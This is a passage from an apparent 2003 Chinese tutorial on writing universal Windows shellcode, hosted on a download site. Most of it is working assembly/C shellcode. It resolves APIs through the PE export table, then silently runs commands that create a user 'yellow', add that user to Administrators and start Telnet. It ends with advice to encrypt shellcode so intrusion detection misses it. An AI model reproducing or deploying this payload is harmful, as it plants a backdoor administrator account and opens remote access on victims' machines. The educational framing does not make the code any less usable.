⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 通用shellcode深入剖析.txt

📁 ShellCode分析
💻 TXT
📖 第 1 页 / 共 3 页
字号:
		_emit 'W';      
		_emit 'i';      
		_emit 'n';      
		_emit 'E';      
		_emit 'x';      
		_emit 'e';      
		_emit 'c';      
		_emit 0x00
LWINEXEC:
		pop APINAMES[WINEXEC * 4]
		call LSOCKET				//3
		_emit 's';     
		_emit 'o';     
		_emit 'c';     
		_emit 'k';     
		_emit 'e';     
		_emit 't';     
		_emit 0x00
LSOCKET:
		pop APINAMES[SOCKET * 4]
		call LBIND					//4
		_emit 'b';      
		_emit 'i';      
		_emit 'n';      
		_emit 'd';      
		_emit 0x00
LBIND:
		pop APINAMES[BIND * 4]
		call LCONNECT
		_emit 'c';      
		_emit 'o';      
		_emit 'n';      
		_emit 'n';      
		_emit 'e';      
		_emit 'c';      
		_emit 't';      
		_emit 0x00
LCONNECT:
		pop APINAMES[CONNECT * 4]
		call LACCEPT				//5
		_emit 'a';     
		_emit 'c';     
		_emit 'c';     
		_emit 'e';     
		_emit 'p';     
		_emit 't';     
		_emit 0x00
LACCEPT:
		pop APINAMES[ACCEPT * 4]
		call LLISTEN				//6
		_emit 'l';      
		_emit 'i';      
		_emit 's';      
		_emit 't';      
		_emit 'e';      
		_emit 'n';      
		_emit 0x00
LLISTEN:
		pop APINAMES[LISTEN * 4]
		call LSEND					//7
		_emit 's';     
		_emit 'e';     
		_emit 'n';     
		_emit 'd';     
		_emit 0x00
LSEND:
		pop APINAMES[SEND * 4]
		call LRECV					//8
		_emit 'r';     
		_emit 'e';     
		_emit 'c';     
		_emit 'v';     
		_emit 0x00
LRECV:
		pop APINAMES[RECV * 4]
		call CLOSESOCKETL			//9
		_emit 'c';      
		_emit 'l';      
		_emit 'o';      
		_emit 's';      
		_emit 'e';      
		_emit 's';      
		_emit 'o';      
		_emit 'c';      
		_emit 'k';      
		_emit 'e';      
		_emit 't';      
		_emit 0x00
CLOSESOCKETL:
		pop APINAMES[CLOSESOCKET * 4]
		call WSASTARTUPL			//10
		_emit 'W';     
		_emit 'S';     
		_emit 'A';     
		_emit 'S';     
		_emit 't';     
		_emit 'a';     
		_emit 'r';     
		_emit 't';     
		_emit 'u';     
		_emit 'p';     
		_emit 0x00
WSASTARTUPL:
		pop APINAMES[WSASTARTUP * 4]
		call WSACLEANUPL			//11
		_emit 'W';     
		_emit 'S';     
		_emit 'A';     
		_emit 'C';     
		_emit 'l';     
		_emit 'e';     
		_emit 'a';     
		_emit 'n';     
		_emit 'u';     
		_emit 'p';     
		_emit 0x00
WSACLEANUPL:
		pop APINAMES[WSACLEANUP * 4]
		//nop;可以在这里设置一个断点查看DLLNAMES和APINAMES是否填入了需要的内容
		
		//填写
	}
	//3,装载所有需要的DLL
	for(i=DLLSTART;i<=DLLEND;i++)
	{
		DLLS[i]=API[LOADLIBRARY](DLLNAMES[i]);
	}
	//4,获取所有需要的API
	//4.1取得Windows Kernel API
	for(i=KNLSTART;i<=KNLEND;i++)
	{
		API[i]=API[GETPROCADDRESS](DLLS[KERNELDLL],APINAMES[i]);
	}
	//4.2取得Windows Sockets API
	for(i=WSOCKSTART;i<=WSOCKEND;i++)
	{
		API[i]=API[GETPROCADDRESS](DLLS[WS2_32DLL],APINAMES[i]);
	}
	//5,编写ShellCode的功能实体部分
	__asm
	{
		call PUTCOMMAND_ADDUSER
		_emit 'n'
		_emit 'e'
		_emit 't'
		_emit ' '
		_emit 'u'
		_emit 's'
		_emit 'e'
		_emit 'r'
		_emit ' '
		_emit 'y'
		_emit 'e'
		_emit 'l'
		_emit 'l'
		_emit 'o'
		_emit 'w'
		_emit ' '
		_emit 'y'
		_emit 'e'
		_emit 'l'
		_emit 'l'
		_emit 'o'
		_emit 'w'
		_emit ' '
		_emit '/'
		_emit 'a'
		_emit 'd'
		_emit 'd'
		_emit 0x00
PUTCOMMAND_ADDUSER:
		pop CMD[COMMAND_ADDUSER * 4]
		call PUTCOMMAND_SETUSERADMIN
		_emit 'n'
		_emit 'e'
		_emit 't'
		_emit ' '
		_emit 'l'
		_emit 'o'
		_emit 'c'
		_emit 'a'
		_emit 'l'
		_emit 'g'
		_emit 'r'
		_emit 'o'
		_emit 'u'
		_emit 'p'
		_emit ' '
		_emit 'A'
		_emit 'd'
		_emit 'm'
		_emit 'i'
		_emit 'n'
		_emit 'i'
		_emit 's'
		_emit 't'
		_emit 'r'
		_emit 'a'
		_emit 't'
		_emit 'o'
		_emit 'r'
		_emit 's'
		_emit ' '
		_emit 'y'
		_emit 'e'
		_emit 'l'
		_emit 'l'
		_emit 'o'
		_emit 'w'
		_emit ' '
		_emit '/'
		_emit 'a'
		_emit 'd'
		_emit 'd'
		_emit 0x00
PUTCOMMAND_SETUSERADMIN:
		pop CMD[COMMAND_SETUSERADMIN*4]
		call PUTCOMMAND_OPENTLNT
		_emit 'n'
		_emit 'e'
		_emit 't'
		_emit ' '
		_emit 's'
		_emit 't'
		_emit 'a'
		_emit 'r'
		_emit 't'
		_emit ' '
		_emit 't'
		_emit 'l'
		_emit 'n'
		_emit 't'
		_emit 's'
		_emit 'v'
		_emit 'r'
		_emit 0x00
PUTCOMMAND_OPENTLNT:
		pop CMD[COMMAND_OPENTLNT* 4]
	}
//	__asm int 3//在Release版本中使用断点
//6,执行命令新建用户,如果权限够就将用户加入Administrators,再开启标准的Telnet服务
	for(i=COMMAND_START;i<=COMMAND_END;i++)
		API[WINEXEC](CMD[i],SW_HIDE);
/*
    我们已经引入了一些常用的KERNEL API和WINSOCK API,可以在这里进行更深入的
开发(比如我们可以使用WinSock自己实现一个Telnet服务端).
*/
	API[EXITPROCESS](0);//使用ExitProcess来退出ShellCode以减少错误
	
	__asm
		{
/*
子程序FindApi,由我前面讲解的GetFunctionByName修改得到
入口参数:
   ImageBase:DLL基址
   FuncName:需要查找的引出函数名
   flen:引出函数名长度,在不会出现重复的情况下可以比引出函数名短一点
   Count:引出函数地址索引起始,通常应该把它设为0.
出口参数:
   如果查找则成功Eax返回有效的函数地址,否则返回0
*/
FindApi:
		mov eax,ImageBase		
		add eax,0x3c		//指向PE头部偏移值e_lfanew
		mov eax,[eax]		//取得e_lfanew值
		add eax,ImageBase	//指向PE header
		cmp [eax],0x00004550
		jne NotFound		//如果ImageBase句柄有错
		mov PE,eax
		mov eax,[eax+0x78]
		add eax,ImageBase	//指向IMAGE_EXPORT_DIRECTORY
		mov [IED],eax
		mov eax,[eax+0x20]
		add eax,ImageBase
		mov FunNameArray,eax	//保存函数名称指针数组的指针值
		mov ecx,[IED]
		mov ecx,[ecx+0x14]	//根据引出函数个数NumberOfFunctions设置最大查找次数
FindLoop:
		push ecx		//使用一个小技巧,使用程序循环更简单
		mov eax,[eax]
		add eax,ImageBase
		mov esi,FuncName
		mov edi,eax
		mov ecx,flen		//逐个字符比较,如果相同则为找到函数,注意这里的ecx值
		cld
		rep cmpsb
		jne FindNext		//如果当前函数不是指定的函数则查找下一个
		add esp,4		//如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回
		mov eax,[IED]
		mov eax,[eax+0x1c]
		add eax,ImageBase	//获得函数地址表
		shl Count,2		//根据函数索引计算函数地址指针=函数地址表基址+(函数索引*4)
		add eax,Count
		mov eax,[eax]		//获得函数地址相对偏移量
		add eax,ImageBase	//计算函数真实地址,并通过Eax返回给调用者
		jmp Found
FindNext:
		inc Count		//记录函数索引
		add [FunNameArray],4	//下一个函数名指针
		mov eax,FunNameArray
		pop ecx			//恢复压入的ecx(NumberOfFunctions),进行计数循环
		loop FindLoop		//如果ecx不为0则递减并回到FindLoop,往后查找
NotFound:
		xor eax,eax		//如果没有找到,则返回0
Found:
		ret
//ShellCode结束标识符
		_emit '*'
		_emit '*'
	}
}

void AboutMe(void)
{
	printf("\t++++++++++++++++++++++++++++++++++\n");
	printf("\t+         ShellCode Demo!        +\n");
	printf("\t+         Code by yellow         +\n");
	printf("\t+         Date:2003-12-21        +\n");
	printf("\t+    Email:yellow@safechina.net  +\n");
	printf("\t+    Home Page:www.safechina.net +\n");
	printf("\t++++++++++++++++++++++++++++++++++\n");

}

void printsc(unsigned char *sc)
{
	int x=0;
	printf("unsigned char shellcode[]={");
	while(1)
	{
		if ((*sc=='*')&&(*(sc+1)=='*')) break;
		if(!(x++%10)) printf("\n\t");
		printf("0x%0.2X,",*sc++);
	}
	printf("\n};\nTotal %d Bytes\r\n",x+1);
}

int main(void)
{
	unsigned char *p=ShellCodeFun;
	unsigned int k=0;
	if(*p==0xe9)
	{
		k=*(unsigned int*)(++p);
		(int)p+=k;
		(int)p+=4;
	}
	printsc(p);
	AboutMe();
	getch();
}
/////////////////////////////////////////////////////////////////////////////////////////////////
    注意我在这里我没有演示ShellCode加密技术,现在的ShellCode加密大都都xor之类的操作,基本上比较简单
,但为了逃避"入侵检测系统"的查杀还是应该使用比较好的加密方法,我想以后可能会写一些相关的技术文章吧!

    Ok!已经演示了这么多,我想你的收获一定不小吧!俗话说的好"师傅领进门,修行在个人",ShellCode最关键的
技术我们已经掌握了,至于怎么去实现一个功能丰富的ShellCode就看你自己的开发技术和经验了!
--------------------------------------------------------------------------------------------------

最后
  当我初学ShellCode编写技术时,对于没有能让初学者入门的ShellCode教程可以参考而感到烦恼,所以在我完成
PE和KERNEL32地址获得方法学习后,就立刻写了这篇文章,希望对广大初学者有所帮助!眼看快要到圣诞节,yellow
在这里初大家圣诞节快乐,永远开心,永远年轻!愿中国的安全技术更上一层楼!

4,参考资料.
  <MSDN>
  <Windows 核心编程>
  <Windows 95系统程序设计大奥秘>
  <Win32Asm Programming>
5,关键字:
  通用ShellCode,黑客编程技术,PE引出表,KERNEL32.DLL地址,结构化异常处理,SEH,溢出,overflow,中华安全网
                                                                  By yellow from www.safechina.net
                                                                                  2003年12月21日晚
The End.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -